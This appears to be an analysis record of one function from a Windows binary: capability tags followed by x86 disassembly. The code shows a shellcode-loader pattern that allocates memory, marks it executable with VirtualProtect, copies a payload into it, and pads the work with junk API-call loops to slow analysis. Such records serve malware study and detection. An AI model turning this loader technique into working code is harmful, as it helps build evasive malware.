Function at 0x401520
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Extract resource via kernel32 functions
Get hostname
Terminate thread

Disassembly:
push ecx
push 0x80c080
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
ret
push ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x805538
push eax
mov dword fs:[0], esp
mov eax, dword [0xc2a2a8]
sub esp, 0x540
push ebx
push esi
push edi
cmp eax, 0x5b1
jne 0x4015d4
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BackupSeek]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push 0
call dword [sym.imp.KERNEL32.dll_FindAtomA]
call dword [sym.imp.WINHTTP.dll_WinHttpCheckPlatform]
lea ecx, [ebp - 0x10]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
lea esi, [ebp - 0x38]
call fcn.004018d0
push 0
mov dword [ebp - 4], 0
call fcn.00402b4e
push 0
push 0
call fcn.004027d8
add esp, 0xc
jmp 0x401510
add eax, 0x1134b
push eax
push 0
mov dword [0xc2a2a8], eax
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov ecx, dword [0xc2a2a8]
lea edx, [ebp - 0x14]
push edx
push 0x40
push ecx
push eax
mov dword [0xc291fc], eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, dword [sym.imp.GDI32.dll_GetDeviceGammaRamp]
xor esi, esi
cmp esi, 0x2710
jge 0x40161b
lea edx, [ebp - 0x54c]
push edx
push 0
call edi
inc esi
cmp esi, 0x1ff49ccc
jl 0x401608
xor esi, esi
cmp dword [0xc2a2a8], esi
jbe 0x401685
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov ebx, dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea ebx, [ebx]
mov eax, dword [0xc2a2ac]
mov cl, byte [eax + esi + 0x1134b]
mov edx, dword [0xc291fc]
mov byte [edx + esi], cl
cmp dword [0xc2a2a8], 0xa8
jne 0x40167c
push 0
lea eax, [ebp - 0x10]
push eax
call edi
push 0
push 0
call ebx
lea ecx, [ebp - 0x14c]
push ecx
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
inc esi
cmp esi, dword [0xc2a2a8]
jb 0x401640
mov esi, dword [ebp - 0x14]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
mov ebx, dword [sym.imp.KERNEL32.dll_TerminateThread]
xor eax, eax
mov dword [ebp - 0x10], eax
lea esp, [esp]
mov edx, dword [0xc2a2a8]
add edx, eax
cmp edx, 0xe
jne 0x4016fc
push esi
push 0
call ebx
push 0
push 0
push str.careforezeh
call dword [sym.imp.KERNEL32.dll_FindFirstChangeNotificationW]
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameW]
lea eax, [ebp - 0x1c]
push eax
call edi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreW]
mov eax, dword [ebp - 0x10]
inc eax
cmp eax, 0x39621
mov dword [ebp - 0x10], eax
jl 0x4016a0
call fcn.004013f0
mov edi, dword [sym.imp.KERNEL32.dll_GetLastError]
xor esi, esi
call edi
cmp esi, 0x26
jne 0x401720
call fcn.004014f0
inc esi
cmp esi, 0x6753f
jl 0x401714
mov esi, dword [sym.imp.KERNEL32.dll_EndUpdateResourceW]
mov edi, dword [sym.imp.KERNEL32.dll_GetComputerNameW]
mov ebx, 0x7b
lea ebx, [ebx]
cmp dword [0xc2a2a8], 0x86
jne 0x401758
push 0
push 0
call esi
push 0
push 0
call edi
sub ebx, 1
jne 0x401740
call fcn.00401140
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret